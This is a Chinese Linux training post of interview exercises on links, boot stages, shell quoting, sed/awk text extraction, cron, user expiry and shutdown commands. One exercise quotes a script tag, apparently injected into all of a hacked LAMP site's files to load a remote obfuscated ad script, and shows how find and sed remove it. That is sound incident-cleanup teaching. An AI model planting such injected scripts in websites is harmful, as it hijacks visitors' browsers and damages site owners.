Linux教學輔助訓練(第三階段)

来源:http://www.cnblogs.com/chensiqiqi/archive/2017/02/04/6366179.html
-Advertisement-
Play Games

Linux教學輔助訓練(第三階段) 標簽(空格分隔): Linux輔助訓練 陳思齊 [更多資料點我查看][1] 提示 :本階段性練習題是對《實戰教學筆記》相應章節知識的歸納與擴展部分,必須要 會,是面試前必須重溫的一套基礎練習(第一階段即為實戰教學筆記第四節 Linux命令 基礎)。 本文涉及的命令 ...


Linux教學輔助訓練(第三階段)

標簽(空格分隔): Linux輔助訓練-陳思齊

---更多資料點我查看

提示:本階段性練習題是對《實戰教學筆記》相應章節知識的歸納與擴展部分,必須要 會,是面試前必須重溫的一套基礎練習(第一階段即為實戰教學筆記第四節 Linux命令 基礎)。

本文涉及的命令有
w,who,users,last,lastlog,mkdir,chmod,cut,awk,sed,setup,ifconfig,route,date,sudo,which,whereis,locate,find,shutdown,reboot,useradd,chage,grep,echo,stat

本文涉及的知識有
(1)軟鏈接知識,
(2)開機啟動知識
(3)系統運行級別
(4)文件刪除原理
(5)正則表達式
(6)linux基礎系統網路配置
(7)linux PATH環境變數知識
(8)定時任務
(9)linux 系統許可權知識
(10)系統重要路徑知識
(11)linux常用快捷鍵知識

一,口頭表達練習

1.1 描述linux系統從開機到登陸界面的啟動過程

屏幕快照 2017-01-19 下午3.30.42.png-292.7kB
1,開機BIOS自檢,載入硬碟
2,MBR引導
3,grub菜單
4,載入內核kernel
5,啟動init進程
6,讀取inittab配置文件
7,執行/etc/rc.d/rc.sysinit初始化腳本
8,根據啟動級別運行/etc/rc.d/rc.d/目錄下的一系列軟鏈接腳本(對應啟動級別)
9,運行/etc/rc.d/rc.local個人配置腳本
10,執行/bin/login登陸腳本登陸

1.2 描述linux下軟鏈接和硬鏈接的區別。

屏幕快照 2017-01-24 上午10.08.52.png-369.3kB
1,如何創建

預設不帶參數情況下,ln命令創建的是硬鏈接,帶-s參數的ln命令創建的是軟鏈接

2,含義:

硬鏈接文件與源文件的inode節點號相同,而軟鏈接文件相當於windows下麵的快捷方式(inode節點號與源文件不同)

3,特點:

不能對目錄創建硬鏈接,但可以創建軟鏈接,對目錄的軟鏈接會經常被用到。
軟鏈接可以跨文件系統,硬鏈接不可以跨文件系統

4,軟硬鏈接和源文件的刪除

刪除軟鏈接文件,對源文件及硬鏈接文件無任何影響
刪除文件的硬鏈接文件,對源文件及軟鏈接文件無任何影響
刪除鏈接文件的源文件,對硬鏈接文件無影響,會導致其軟鏈接失效(紅底白字閃爍妝)
同時刪除源文件及其硬鏈接文件,整個文件才會被真正的刪除

1.3 描述linux shell中單引號,雙引號及不加引號的簡單區別

1,單引號:

可以說是所見即所得,也就是將單引號內的內容原樣輸出,或者描述為單引號裡面看到的是什麼就會輸出什麼。

2,雙引號:

把雙引號內的內容輸出出來,如果內容中有命令,變數等,會先把變數,命令解析出結果,然後在輸出最終內容來。

3,無引號:

與雙引號類似,但支持通配符

把內容輸出出來,可能不會將含有空格的字元串視為一個整體輸出,如果內容中有命令,變數等,會先把變數,命令解析出結果,然後在輸出最終內容來,如果字元串中帶有空格等特殊字元,則不能完整的輸出,需要改加雙引號,一般連續的字元串,數字,路徑等可以用,不過最好用雙引號替代之。

QQ20170124-105807@2x.png-51.6kB

1.4描述linux運行級別0-6的各自含義

0:關閉電腦
1:單用戶模式
2:沒有NFS網路文件系統的多用戶模式
3:命令(文本)模式
4:保留模式
5:圖形桌面模式
6:重啟電腦

1.5描述linux下文件刪除的原理

屏幕快照 2017-01-24 上午10.59.56.png-369.7kB

linux文件刪除原理

  • linux是通過link的數量來控制文件刪除的,只有當一個文件不存在任何link的時候,這個文件才會被刪除。一般來說,每個文件都有2個link計數器:i_count和i_link.
  • i_count的意義是當前文件使用者(被調用)的數量,i_link的意義是介質連接的數量(硬鏈接的數量);可以理解為i_count是記憶體的引用計數器,i_link是磁碟的引用計數器
  • 當一個文件被某一個進程引用時,對應i_count數就會增加;當創建文件的硬鏈接的時候,對應i_link數就會增加
  • 對於刪除命令rm而言,實際就是減少磁碟引用計數i_link。
    對於linux系統來講,只有當i_link和i_count數量同時為0時,系統才會將文件刪除。

二,筆試部分

2.1 如何取得/chensiqi.py 文件的許可權對應的數字內容,如-rw-r-r-- 為644,要求使用命令取得644這樣的數字

答:
方法一:ll + tr + awk
QQ20170125-205725@2x.png-46.6kB
方法二:stat + grep + egrep
QQ20170125-211117@2x.png-62.1kB
方法三:stat + sed + awk
QQ20170125-211652@2x.png-54.3kB
方法四:stat + awk + sed
QQ20170125-213200@2x.png-44.8kB
方法五:stat +sed的反向引用
QQ20170203-113804@2x.png-101.3kB
方法六:stat +sed +cut
QQ20170203-192116@2x.png-69.4kB
方法七:stat -c
QQ20170203-192714@2x.png-60.7kB

本題方法有很多,請同學們將之前所學知識融會貫通。(相信學習到這裡的同學已經漸漸開始明白sed,awk 正則之強大)

屏幕快照 2017-02-03 上午11.40.39.png-199.3kB

2.2 linux下通過mkdir命令創建一個新目錄/chensiqi/ett,它的硬鏈接數是多少,為什麼?如果在/chensiqi/ett下麵再創建一個目錄test。再問/chensiqi/ett的硬鏈接數是多少?為什麼?

答:

新創建的文件夾預設兩個硬鏈接數

QQ20170203-193502@2x.png-43.5kB

在文件夾里在創建一個文件夾,當前文件夾硬鏈接數變成3個

QQ20170203-195559@2x.png-85.8kB

QQ20170203-200244@2x.png-28.6kB

2.3 請執行命令取出linux中eth0的IP地址(請用cut,有能力者也可以分別用awk,sed命令答)

答:
方法一:cut解決
QQ20170203-200935@2x.png-72.2kB
方法二:sed解決
QQ20170203-202212@2x.png-248.2kB
方法三:awk解決
QQ20170203-202855@2x.png-85.2kB
awk簡化實現方法
QQ20170204-102358@2x.png-107.4kB
方法四:egrep解決
QQ20170203-203632@2x.png-89.1kB

方法還是很多,這裡就不一一舉例了,目前輔助訓練已經進入了第三階段,在本階段里,所有同學都應該將grep,egrep,sed,awk,cut,正則,擴展正則用熟練,這是作為運維人員的基礎核心能力之一,非常重要。

2.4 請給出預設情況eth0網卡配置文件的路徑及客戶端DNS的路徑

答:
/etc/sysconfig/network-scripts/ifcfg-eth0
/etc/resolv.conf

2.5 企業案例模擬:查找當前目錄下所有文件,並把文件中的www.etiantian.org字元串替換成www.chensiqi.cc

題目背景:

這是根據一個IT公司遇到的實際問題改編的題,當時的情況是:一個lamp伺服器,站點目錄下所有文件均被植入瞭如下內容:

<script language=javascript src=http://%4%66E%78%6F%72%67%2E%70%%6F/x.js?google_ad=93x28_ad></script>

包括圖片文件也被植入了,網站打開時就會調用這個地址,顯示一個廣告,造成的影響很惡劣,雖然問題現在看起來簡單,但當時該公司的兩個linux運維花了很久都沒搞定
實際解決辦法:
思路是,需要遍歷所有目錄所有文件,把以上被植入的內容刪除掉
一,通過find找出需要修改的文件
find /chensiqi -type f
二,在生產環境下可以先通過grep -l查看一下預刪除的被篡改內容的文件的文件名
find /chensiqi -type f | xargs grep -l "篡改的內容"
三,刪除掉被篡改的內容
find /chensiqi -type f | xargs sed -i 's#被篡改內容##g'
或:
find /chensiqi -type f -exec sed -i 's#被篡改內容##g' {} \;
當時的處理過程:
1,和運維人員確認確實出問題了,並詳細確認問題情況。
2,制定處理方案,先備份已有數據,然後,執行命令批量修改回來
3,寫解決說明(類似本例這樣),寫完發給她們的運維
4,詢問處理結果,並告知詳細查看日誌,尋找問題發生來源
5,提供亡羊補牢解決方案(站點目錄嚴格許可權規劃方案及新上線發佈規範思路)
從發現到解決的過程:
1,運營人員,網站用戶發現問題,網站有彈窗廣告
2,運營人員報給開發人員,開發聯繫運維人員,開發和運維共同解決
3,開發發現問題原因就是所有站點目錄被嵌入了一段JS代碼
4,運維人員解決問題
綜上:
a,我們需要先備份原始出現問題的原始文件
b,歷史備份覆蓋出現問題的文件,先讓問題立刻消失
c,find+sed 替換出現問題的原始文件,在測試伺服器上看看問題是否解決
d,詳細查看日誌,尋找問題發生的來源
e,提供亡羊補牢解決方案(站點目錄嚴格許可權規劃方案及新上線發佈規範思路)

本虛擬題目解決方法
方法一:exec解決
QQ20170204-113338@2x.png-40.2kB

方法二:xargs解決
QQ20170204-113641@2x.png-25kB

2.6 如何賦予chensiqi文件-rw-r--r-x許可權屬性

答:chmod 645 文件名
QQ20170204-114002@2x.png-39.2kB

2.7 執行下麵命令時發現提示需要輸入密碼,請問提示輸入的密碼是哪個用戶的密碼?

[test@chensiqi ~]$ sudo su - chensiqi

答:當前登錄的test用戶的密碼

2.8 問題:請問在一個命令上加什麼參數可以實現下麵命令的內容在同一行輸出。

echo "chensiqi";echo "chensiqi"
答:本題考察echo的-n參數。

屏幕快照 2017-02-04 下午1.04.08.png-23.9kB

2.9 問題:請給出如下格式的date命令 例:11-02-26.在給出實現按周輸出 比如:周六輸出為6,請分別給出命令

答:date +%F_%w
QQ20170204-134040@2x.png-152.9kB

2.10 [CentOS5.X]問題:當從root用戶切到普通用戶時,執行ifconfig 會提示;

[chensiqi@chensiqi ~]$ ifconfig
-bash:ifconfig:command not found
提示:c58會遇到,c64沒有此問題

請問這是為什麼?如何解決,請給出詳細解決過程。
答:

要想解決這個問題,我們需要明白,當我們輸入一個命令以後,系統發生了什麼?

  • 當你輸入一個命令以後,linux會先去$PATH里去找這個命令
  • 如果$PATH里沒有這個命令的上級目錄文件夾,那麼命令自然就找不到
  • 因此,我們需要export PATH=/sbin/:\$PATH將命令的路徑加入到環境變數里(臨時生效)
  • 或者,echo "export PATH=/sbin/:$PATH" >> /etc/profile(永久生效)
  • 還可以放到用戶的配置文件里,讓某個用戶登錄時生效,(用戶家目錄下的.bash_profile)

2.11 問題:擴展問題:列印三天前的日期格式如:2011-02-26

答:date +%F -d "-3 day"

-d 指定日期列印 -3 day,3天前
-d “+3 day” 指定3天後列印日期

屏幕快照 2017-02-04 下午3.06.27.png-91.9kB

2.12 已知/chensiqi/test.txt文件內容為:

屏幕快照 2017-02-04 下午3.14.46.png-29.2kB
請問如何把文件中的空格過濾掉(要求命令行實現)
答:
方法一:grep或egrep
屏幕快照 2017-02-04 下午3.25.12.png-22.5kB
如果是空行則需要^$來過濾

方法二:awk
QQ20170204-155536@2x.png-122.7kB

2.13 已知/chensiqi/ett.txt 文件內容為:

chensiqi
chhensiiqiedu
test

請使用grep或egrep正則匹配的方式過濾出前兩行內容
答:
QQ20170204-154106@2x.png-121.5kB

2.14 請描述下列路徑的內容是做什麼的?

/var/log/messages

linux日誌文件絕對路徑

/var/log/secure

linux安全日誌文件絕對路徑(用戶登錄日誌)

/var/spool/clientmqueue

linux郵件臨時目錄

/proc/interrupts

查看中斷文件

/etc/fstab

linux開機自動掛載配置文件絕對路徑

/etc/profile

linux全局變數配置文件絕對路徑

2.15 如何快速查到ifconfig的全路徑(假如你不知道他的路徑)

答:

which ifconfig
whereis ifconfig

2.16 每周日上午9點30分運行chensiqi.sh腳本,請用linux定時任務命令表示

答:

每周日上午9:30分運行腳本chensiqi.sh
30 09 * * 0 /bin/sh chensiqi.sh > /dev/null

2.17 請給出查看當前哪些用戶線上的linux命令

答:w

2.18 企業案例:公司一開發人員申請對某一伺服器10天的普通用戶許可權,請問你如何操作?

答:

linux下控制賬戶過期的方法:
企業里一般給無人管理的角色賬戶或開發人員臨時需求等可以設定賬戶有效期,提升安全

方法一:添加用戶時

  • useradd chensiqi -e 01/28/12 (臨時指定某個用戶的失效時間)
  • useradd -D -e 01/28/12(永久修改創建用戶時的預設失效時間)
    QQ20170204-181938@2x.png-144.1kB
    或直接修改下麵文件的參數
    屏幕快照 2017-02-04 下午6.25.06.png-54.8kB
    還原用戶預設失效時間
    QQ20170204-182834@2x.png-73.3kB
    查看某用戶的賬戶屬性
    QQ20170204-181230@2x.png-139.3kB

方法二:修改賬戶屬性
usermod -e 12/26/17 chensiqi

方法三:調整賬戶過期時間
chage -E 12/26/17 chensiqi

2.19 請給出正確的關機和重啟伺服器的命令

答:
關機:

  • shutdown -h now 立刻關閉(生產環境常用)
  • shutdown -h 1 1分鐘後關機
  • init 0 切換運行級別到0
  • halt 立即停止系統,需要人工關閉電源(生產環境常用)
  • poweroff 立即停止系統,並且關閉電源

重啟
reboot (生產環境常用)
shutdown -r now (生產環境常用)
shutdown -r 1 1分鐘以後重啟
init 6

註銷
logout
exit
ctrl + d (生產環境常用)

2.20 請寫出下麵linux SecureCRT命令快捷鍵命令的功能?

Ctrl + a:切換到命令行開始
Ctrl + c:終止當前命令或腳本
Ctrl + d:退出當前shell
Ctrl + e:切換到命令行末尾
Ctrl + l:清除屏幕內容,相當於clear
Ctrl + u:清除(剪切)游標之前的內容
Ctrl + k:清除(剪切)游標之後的內容
tab :命令補全
Ctrl + shift + c:命令行複製內容
Ctrl + shift + v:命令行黏貼內容




您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • Android 第三方類庫之EventBus 1 PS 工欲善其事必先利其器. Eventbus也是一款在開發中常用的利器 這篇也對EventBus的簡單介紹和使用,與之前個xutils介紹的級別一樣.http://www.cnblogs.com/greentomlee/p/6025470.html... ...
  • 題記:在開發的路途上,有的人走的很深很遠,而對於停留在初級階段的我來說,還要學的、經歷的還有很多... ...
  • 在 "Linux設備樹語法詳解" 和 "Linux Platform驅動模型(一) _設備信息" 中我們討論了設備信息的寫法,本文主要討論平臺匯流排中另外一部分 驅動方法,將試圖回答下麵幾個問題: 1. 如何填充platform_driver對象? 2. 如何將驅動方法對象註冊到平臺匯流排中? 正文前的 ...
  • 第十一節 linux定時任務 標簽(空格分隔): Linux實戰教學筆記 [更多資料點我查看][1] 1.1 定時任務Crond介紹 Crond是linux系統中用來定期執行命令/腳本或指定程式任務的一種服務或軟體,一般情況下,我們安裝完Centos5/6 linux操作系統之後,預設便會啟動Cro ...
  • 當你出現ifconfig與網卡配置文件的名稱不同時,如圖所示情況 ifconfig顯示的網卡名為eth1,而配置文件名字為ifcfg-eth0,所以會導致失敗。 解決方案: 1、刪除/etc/udev/rules.d/70-persistent-net.rules文件,重啟系統。 2、ifconfi ...
  • 我在 "Linux字元設備驅動框架" 一文中簡單介紹了Linux字元設備編程模型,在那個模型中,只要應用程式 open() 了相應的設備文件,就可以使用ioctl通過驅動程式來控制我們的硬體,這種模型直觀,但是從軟體設計的角度看,卻是一種十分糟糕的方式,它有一個致命的問題,就是設備信息和驅動代碼冗餘 ...
  • NFS重要問題 1、有關NFS客戶端普通用戶寫NFS的問題。 1)為什麼要普通用戶寫NFS。 2)exports加all_squash。 Rsync介紹 什麼是Rsync? Rsync是一款開源的、快速的、多功能的、可實現全量即增量的本地或遠程數據同步備份的優秀工具。Rsync軟體適用於unix、l... ...
  • 文章作者:luxianghao 文章來源:http://www.cnblogs.com/luxianghao/p/6339470.html 轉載請註明,謝謝合作。 免責聲明:文章內容僅代表個人觀點,如有不當,歡迎指正。 為什麼會有閏秒? 世界上有幾種計量時間的方式, 世界時(UT1):是一種天文計量 ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發(一):使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說,近來想嘗試開發一款安卓APP,考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP,畢竟是使用Visual Studio開發工具,使用起來也比較的順手,結合微軟官方的教程進行了安卓 ...
  • 前言 QuestPDF 是一個開源 .NET 庫,用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫,它徹底改變了我們生成 PDF 文檔的方 ...
  • 項目地址 項目後端地址: https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址: ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址: http://tree ...
  • 話不多說,直接開乾 一.下載 1.官方鏈接下載: https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe,運行開始下載SQL server; 二. ...
  • 前言 隨著物聯網(IoT)技術的迅猛發展,MQTT(消息隊列遙測傳輸)協議憑藉其輕量級和高效性,已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫,為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog支持多種接收器用於日誌存儲,增強器用於添加屬性,LogContext管理動態屬性,支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項,適用於不同需求。 ...
  • 目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據,爬取信息時需要模擬瀏覽器行為,否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下: 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • 1.前言 什麼是熱更新 游戲或者軟體更新時,無需重新下載客戶端進行安裝,而是在應用程式啟動的情況下,在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR,Xlua,ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles,Addressable, ...
  • 本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺,其實像阿裡雲,騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後,它會送 ...
  • 通過以下方式可以高效,並保證數據同步的可靠性 1.API設計 使用RESTful設計,確保API端點明確,並使用適當的HTTP方法(如POST用於創建,PUT用於更新)。 設計清晰的請求和響應模型,以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證,確保接收到的數據符合預期格 ...